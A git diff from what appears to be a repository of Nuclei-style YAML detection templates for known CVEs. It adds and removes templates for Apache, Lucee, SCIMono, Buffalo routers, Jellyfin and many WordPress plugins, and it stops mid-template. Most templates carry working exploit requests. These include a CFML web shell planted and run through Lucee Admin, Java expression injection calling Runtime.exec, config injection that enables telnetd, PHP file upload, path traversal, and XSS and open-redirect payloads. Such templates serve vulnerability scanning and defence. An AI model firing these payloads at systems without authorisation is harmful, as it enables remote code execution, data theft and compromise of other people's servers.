CVE-2020-9490 -info: - name: Apache HTTP Server 2.4.20-2.4.43 - HTTP/2 Cache-Digest DoS - author: philippedelteil - severity: high - description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers. - reference: - - https://httpd.apache.org/security/vulnerabilities_24.html - - https://bugs.chromium.org/p/project-zero/issues/detail?id=2030 - - https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=443369 - - https://nvd.nist.gov/vuln/detail/CVE-2020-9490 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - cvss-score: 7.5 - cve-id: CVE-2020-9490 - cwe-id: CWE-444 - tags: cve,cve2020,apache,dos -requests: - - method: GET - path: - - "{{BaseURL}}" - matchers: - - type: regex - regex: - - "Apache/2\\.4\\.([3-3][0-9]|2[0-9]|4[0-3])" - part: header diff --git a/poc/cve/cve-2020-9490-5417.yaml b/poc/cve/cve-2020-9490-5417.yaml new file mode 100644 index 0000000000..583cee2db1 --- /dev/null +++ b/poc/cve/cve-2020-9490-5417.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-9490 + +info: + name: CVE-2020-9490 + severity: high + description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers. + author: philippedelteil + tags: cve,cve2020,apache,dos + reference: + - https://httpd.apache.org/security/vulnerabilities_24.html + - https://bugs.chromium.org/p/project-zero/issues/detail?id=2030 + - https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=443369 + - https://nvd.nist.gov/vuln/detail/CVE-2020-9490 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.50 + cve-id: CVE-2020-9490 + cwe-id: CWE-444 + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: regex + regex: + - "Apache/2\\.4\\.([3-3][0-9]|2[0-9]|4[0-3])" + part: header diff --git a/poc/cve/cve-2021-20031-5442.yaml b/poc/cve/cve-2021-20031-5442.yaml deleted file mode 100644 index 503a922f30..0000000000 --- a/poc/cve/cve-2021-20031-5442.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2021-20031 -info: - name: Sonicwall SonicOS 7.0 - Host Header Injection - author: gy741 - severity: medium - description: A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages. An issue was discovered in Sonicwall NAS, SonicWall Analyzer version 8.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack - reference: - - https://www.exploit-db.com/exploits/50414 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20031 - - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0019 - - http://packetstormsecurity.com/files/164502/Sonicwall-SonicOS-7.0-Host-Header-Injection.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-20031 - cwe-id: CWE-601 - metadata: - google-dork: inurl:"auth.html" intitle:"SonicWall" - tags: cve,cve2021,sonicwall,redirect -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{randstr}}.tld - matchers-condition: and - matchers: - - type: word - words: - - 'https://{{randstr}}.tld/auth.html' - - 'Please be patient as you are being re-directed' - part: body - condition: and - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-20091-5454.yaml b/poc/cve/cve-2021-20091-5454.yaml new file mode 100644 index 0000000000..b44ba7b2e1 --- /dev/null +++ b/poc/cve/cve-2021-20091-5454.yaml @@ -0,0 +1,48 @@ +id: CVE-2021-20091 +info: + name: Buffalo WSR-2533DHPL2 - Configuration File Injection + author: gy741,pdteam,parth + severity: high + description: | + The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 does not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially leading to remote code execution. + reference: + - https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild + - https://www.tenable.com/security/research/tra-2021-13 + - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20091 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2021-20091 + tags: cve,cve2021,buffalo,firmware,iot +requests: + - raw: + - | + GET /images/..%2finfo.html HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}}/info.html + - | + POST /images/..%2fapply_abstract.cgi HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}}/info.html + Content-Type: application/x-www-form-urlencoded + + action=start_ping&httoken={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}}&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0AARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4 + matchers-condition: and + matchers: + - type: word + part: header + words: + - "/Success.htm" + - type: status + status: + - 302 + extractors: + - type: regex + name: httoken + internal: true + group: 1 + regex: + - 'base64\,(.*?)" border=' + +# Enhanced by mp on 2022/04/12 diff --git a/poc/cve/cve-2021-20150-5470.yaml b/poc/cve/cve-2021-20150-5470.yaml deleted file mode 100644 index 9f74b28259..0000000000 --- a/poc/cve/cve-2021-20150-5470.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2021-20150 -info: - name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure - author: gy741 - severity: medium - description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page. - reference: - - https://www.tenable.com/security/research/tra-2021-54 - - https://nvd.nist.gov/vuln/detail/CVE-2021-20150 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2021-20150 - cwe-id: CWE-287 - metadata: - shodan-query: http.html:"TEW-827DRU" - tags: cve,cve2021,trendnet,disclosure,router -requests: - - raw: - - | - POST /apply_sec.cgi HTTP/1.1 - Host: {{Hostname}} - - action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - 'ftp_username' - - 'ftp_password' - - 'ftp_permission' - - 'TEW-827DRU' - condition: and - - type: word - part: header - words: - - "text/html" - extractors: - - type: regex - part: body - name: password - group: 1 - regex: - - '' - -# Enhanced by mp on 2022/04/05 diff --git a/poc/cve/cve-2021-21307-5497.yaml b/poc/cve/cve-2021-21307-5497.yaml new file mode 100644 index 0000000000..53b683b142 --- /dev/null +++ b/poc/cve/cve-2021-21307-5497.yaml @@ -0,0 +1,85 @@ +id: CVE-2021-21307 + +info: + name: Remote Code Exploit in Lucee Admin + author: dhiyaneshDk + severity: critical + description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator. + reference: + - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r + - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-21307 + tags: cve,cve2021,rce,lucee,adobe + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-21307 + cwe-id: CWE-862 + +requests: + - raw: + - | + POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + imgSrc=a + - | + POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + imgSrc= + + + + + + + +
Command:value="#form.cmd#">
Options: value="#form.opts#">
Timeout: value="#form.timeout#" + value="5">
+ + + + + + + +
+        #HTMLCodeFormat(myVar)#
+        
+
+ + + - | + POST /lucee/{{randstr}}.cfm HTTP/1.1 + Host: {{Hostname}} + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Content-Type: application/x-www-form-urlencoded + + cmd=id&opts=&timeout=5 + + matchers-condition: and + matchers: + - type: word + words: + - "uid=" + - "gid=" + - "groups=" + part: body + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - "(u|g)id=.*" \ No newline at end of file diff --git a/poc/cve/cve-2021-21402.yaml b/poc/cve/cve-2021-21402.yaml deleted file mode 100644 index ba59cbd033..0000000000 --- a/poc/cve/cve-2021-21402.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: CVE-2021-21402 - -info: - name: Jellyfin <10.7.0 - Local File Inclusion - author: dwisiswant0 - severity: medium - description: | - Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk. - remediation: This is fixed in version 10.7.1. - reference: - - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/ - - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx - - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1 - - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7 - - https://nvd.nist.gov/vuln/detail/CVE-2021-21402 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 6.5 - cve-id: CVE-2021-21402 - cwe-id: CWE-22 - epss-score: 0.15589 - epss-percentile: 0.95364 - cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: jellyfin - product: jellyfin - shodan-query: http.html:"Jellyfin" - fofa-query: title="Jellyfin" || body="http://jellyfin.media" - tags: cve,cve2021,jellyfin,lfi - -http: - - method: GET - path: - - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" - - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "Content-Type: application/octet-stream" - - - type: regex - part: body - regex: - - "\\[(font|extension|file)s\\]" - - - type: status - status: - - 200 -# digest: 490a0046304402200b930e9718dc570d1de751638c60e1424d2351f4b9fb6a52a5902127b72109f602200e27d504765b58025c6881751869f6bec4a68b1d749001d49091fb4eb749211f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2021-21479-5524.yaml b/poc/cve/cve-2021-21479-5524.yaml deleted file mode 100644 index 131708d8d2..0000000000 --- a/poc/cve/cve-2021-21479-5524.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2021-21479 -info: - name: SCIMono <0.0.19 - Remote Code Execution - author: dwisiswant0 - severity: critical - description: | - SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and - execute java expressions and compromise the availability and integrity of the system. - reference: - - https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-21479 - - https://github.com/SAP/scimono/security/advisories/GHSA-29q4-gxjq-rx5c - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.1 - cve-id: CVE-2021-21479 - cwe-id: CWE-74 - tags: cve,cve2021,scimono,rce -requests: - - method: GET - path: - - "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D" - matchers: - - type: word - words: - - "The attribute value" - - "java.lang.UNIXProcess@" - - "has invalid value!" - - '"status" : "400"' - part: body - condition: and - -# Enhanced by mp on 2022/05/05 diff --git a/poc/cve/cve-2021-21799(1).yaml b/poc/cve/cve-2021-21799(1).yaml deleted file mode 100644 index 44d996dca0..0000000000 --- a/poc/cve/cve-2021-21799(1).yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-21799 -info: - name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting - author: arafatansari - severity: medium - description: | - Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the telnet_form.php script functionality. - reference: - - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21799 - - https://nvd.nist.gov/vuln/detail/CVE-2021-21799 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-21799 - cwe-id: CWE-79 - metadata: - shodan-query: http.html:"R-SeeNet" - verified: "true" - tags: cve,cve2021,xss,r-seenet -requests: - - method: GET - path: - - "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "Telnet " - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-22145-5591.yaml b/poc/cve/cve-2021-22145-5591.yaml deleted file mode 100644 index 8f8afb81a1..0000000000 --- a/poc/cve/cve-2021-22145-5591.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-22145 -info: - name: ElasticSearch 7.13.3 - Memory disclosure - author: dhiyaneshDk - severity: medium - description: A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details. - reference: - - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml - - https://nvd.nist.gov/vuln/detail/CVE-2021-22145 - - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html - - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 6.5 - cve-id: CVE-2021-22145 - cwe-id: CWE-209 - tags: cve,cve2021,elasticsearch -requests: - - method: POST - path: - - '{{BaseURL}}/_bulk' - headers: - Content-Type: application/json - body: | - @ - matchers-condition: and - matchers: - - type: word - words: - - 'root_cause' - - 'truncated' - - 'reason' - part: body - condition: and - - type: status - status: - - 400 diff --git a/poc/cve/cve-2021-22873.yaml b/poc/cve/cve-2021-22873.yaml new file mode 100644 index 0000000000..23ed846562 --- /dev/null +++ b/poc/cve/cve-2021-22873.yaml @@ -0,0 +1,50 @@ +id: CVE-2021-22873 + +info: + name: Revive Adserver <5.1.0 - Open Redirect + author: pudsec + severity: medium + description: Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Upgrade Revive Adserver to version 5.1.0 or later to mitigate this vulnerability. + reference: + - https://hackerone.com/reports/1081406 + - https://github.com/revive-adserver/revive-adserver/issues/1068 + - http://seclists.org/fulldisclosure/2021/Jan/60 + - https://nvd.nist.gov/vuln/detail/CVE-2021-22873 + - http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-22873 + cwe-id: CWE-601 + epss-score: 0.00922 + epss-percentile: 0.81117 + cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 6 + vendor: revive-adserver + product: revive_adserver + shodan-query: http.favicon.hash:106844876 + tags: hackerone,seclists,packetstorm,cve2021,redirect,revive,cve + +http: + - method: GET + path: + - "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh" + - "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh" + - "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh" + - "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh" + - "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh" + - "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh" + + stop-at-first-match: true + host-redirects: true + max-redirects: 2 + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 +# digest: 490a0046304402203d62bae605e6ff73d0ca068c4cdf7a99a1c451a658dff2df7f240c901b13694c0220077eca1f8b20858f349ec71513c5cf8d834120d4cf63b842365bc3e348b19d11:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2021-24146-5631.yaml b/poc/cve/cve-2021-24146-5631.yaml new file mode 100644 index 0000000000..61d3d453df --- /dev/null +++ b/poc/cve/cve-2021-24146-5631.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-24146 + +info: + name: Modern Events Calendar Lite < 5.16.5 - Unauthenticated Events Export + description: Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example. + author: random_robbie + severity: high + reference: https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc + tags: wordpress,wp-plugin,cve,cve2021 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + cvss-score: 7.50 + cve-id: CVE-2021-24146 + cwe-id: CWE-284 + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv" + + matchers-condition: and + matchers: + - type: word + words: + - "mec-events" + - "text/csv" + condition: and + part: header + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-24235-5649.yaml b/poc/cve/cve-2021-24235-5649.yaml deleted file mode 100644 index 689baa37e3..0000000000 --- a/poc/cve/cve-2021-24235-5649.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: CVE-2021-24235 -info: - name: Goto - Tour & Travel < 2.0 - Reflected Cross-Site Scripting (XSS) - author: daffainfo - severity: medium - reference: https://nvd.nist.gov/vuln/detail/CVE-2021-24235 - tags: cve,cve2021,wordpress,xss,wp-theme -requests: - - method: GET - path: - - '{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13' - matchers-condition: and - matchers: - - type: word - words: - - "input/Autofocus/%0D*/Onfocus=alert(123);" - - "goto-tour-list-js-extra" - part: body - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-24236(1).yaml b/poc/cve/cve-2021-24236(1).yaml deleted file mode 100644 index cc0cd70f13..0000000000 --- a/poc/cve/cve-2021-24236(1).yaml +++ /dev/null @@ -1,80 +0,0 @@ -id: CVE-2021-24236 -info: - name: WordPress Plugin Imagements 1.2.5 - Unauthenticated Arbitrary File Upload - author: pussycat0x - severity: critical - description: | - The Imagements WordPress plugin through 1.2.5 allows images to be uploaded in comments, however only checks for the Content-Type in the request to forbid dangerous files. This allows unauthenticated attackers to upload arbitrary files by using a valid image Content-Type along with a PHP filename and code, leading to RCE. - reference: - - https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea - - https://wordpress.org/plugins/imagements/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-24236 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-24236 - cwe-id: CWE-434 - tags: cve,cve2021,upload,rce,wordpress,wp-plugin,imagements,wp,unauth -variables: - php: "{{to_lower('{{randstr}}')}}.php" - post: "1" -requests: - - raw: - - | - POST /wp-comments-post.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU - - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="comment" - - {{randstr}} - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="author" - - {{randstr}} - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="email" - - {{randstr}}@email.com - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="url" - - - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="checkbox" - - yes - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="naam" - - {{randstr}} - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="image"; filename="{{php}}" - Content-Type: image/jpeg - - - - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="submit" - - Post Comment - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="comment_post_ID" - - {{post}} - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU - Content-Disposition: form-data; name="comment_parent" - - 0 - ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU-- - - | - GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1 - Host: {{Hostname}} - req-condition: true - matchers: - - type: word - part: body_2 - words: - - "CVE-2021-24236" diff --git a/poc/cve/cve-2021-24245(1).yaml b/poc/cve/cve-2021-24245(1).yaml new file mode 100644 index 0000000000..7f1d0a8c87 --- /dev/null +++ b/poc/cve/cve-2021-24245(1).yaml @@ -0,0 +1,39 @@ +id: CVE-2021-24245 +info: + name: WordPress Plugin Stop Spammers 2021.8 - Reflected XSS + author: edoardottt + severity: medium + description: The Stop Spammers WordPress plugin before 2021.9 did not escape user input when blocking requests (such as matching a spam word), outputting it in an attribute after sanitising it to remove HTML tags, which is not sufficient and lead to a reflected Cross-Site Scripting issue. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-24245 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24245 + - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html + - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-24245 + cwe-id: CWE-79 + tags: cve,cve2021,wordpress,xss,wp-plugin +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP+Cookie+check; + + log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1 + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: header + words: + - "text/html" + - type: word + part: body + words: + - "ad\" accesskey=X onclick=alert(1)" diff --git a/poc/cve/cve-2021-24275-5661.yaml b/poc/cve/cve-2021-24275-5661.yaml new file mode 100644 index 0000000000..89211570dd --- /dev/null +++ b/poc/cve/cve-2021-24275-5661.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-24275 +info: + name: Popup by Supsystic < 1.10.5 - Reflected Cross-Site scripting (XSS) + author: dhiyaneshDK + severity: medium + description: The Popup by Supsystic WordPress plugin before 1.10.5 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue. + reference: + - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24275 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-24275 + cwe-id: CWE-79 + tags: wordpress,cve,cve2021,wp-plugin +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and + matchers: + - type: word + words: + - '' + condition: and + - type: status + status: + - 200 + - type: word + words: + - "text/html" + part: header diff --git a/poc/cve/cve-2021-24276-5664.yaml b/poc/cve/cve-2021-24276-5664.yaml deleted file mode 100644 index 0e7cc9ec1f..0000000000 --- a/poc/cve/cve-2021-24276-5664.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-24276 - -info: - name: Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS) - author: dhiyaneshDK - severity: medium - description: The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue - reference: - - https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c - - https://nvd.nist.gov/vuln/detail/CVE-2021-24276 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-24276 - cwe-id: CWE-79 - tags: wordpress,cve,cve2021,wp-plugin - -requests: - - method: GET - path: - - '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - - type: status - status: - - 200 - - - type: word - words: - - "text/html" - part: header diff --git a/poc/cve/cve-2021-24300(1).yaml b/poc/cve/cve-2021-24300(1).yaml new file mode 100644 index 0000000000..04d0926f66 --- /dev/null +++ b/poc/cve/cve-2021-24300(1).yaml @@ -0,0 +1,44 @@ +id: CVE-2021-24300 +info: + name: PickPlugins Product Slider for WooCommerce < 1.13.22 - XSS + author: cckuailong + severity: medium + description: The slider import search feature of the PickPlugins Product Slider for WooCommerce WordPress plugin before 1.13.22 did not properly sanitised the keyword GET parameter, leading to reflected Cross-Site Scripting issue. + reference: + - https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837 + - https://nvd.nist.gov/vuln/detail/CVE-2021-24300 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-24300 + cwe-id: CWE-79 + tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'value="\"onmouseover=alert(document.domain);//">' + - "PickPlugins Product Slider" + condition: and + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-24320-5696.yaml b/poc/cve/cve-2021-24320-5696.yaml deleted file mode 100644 index 22b1611f5d..0000000000 --- a/poc/cve/cve-2021-24320-5696.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: CVE-2021-24320 -info: - name: Bello WordPress Theme < 1.6.0 - Reflected Cross-Site Scripting (XSS) - author: daffainfo - severity: medium - description: The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site 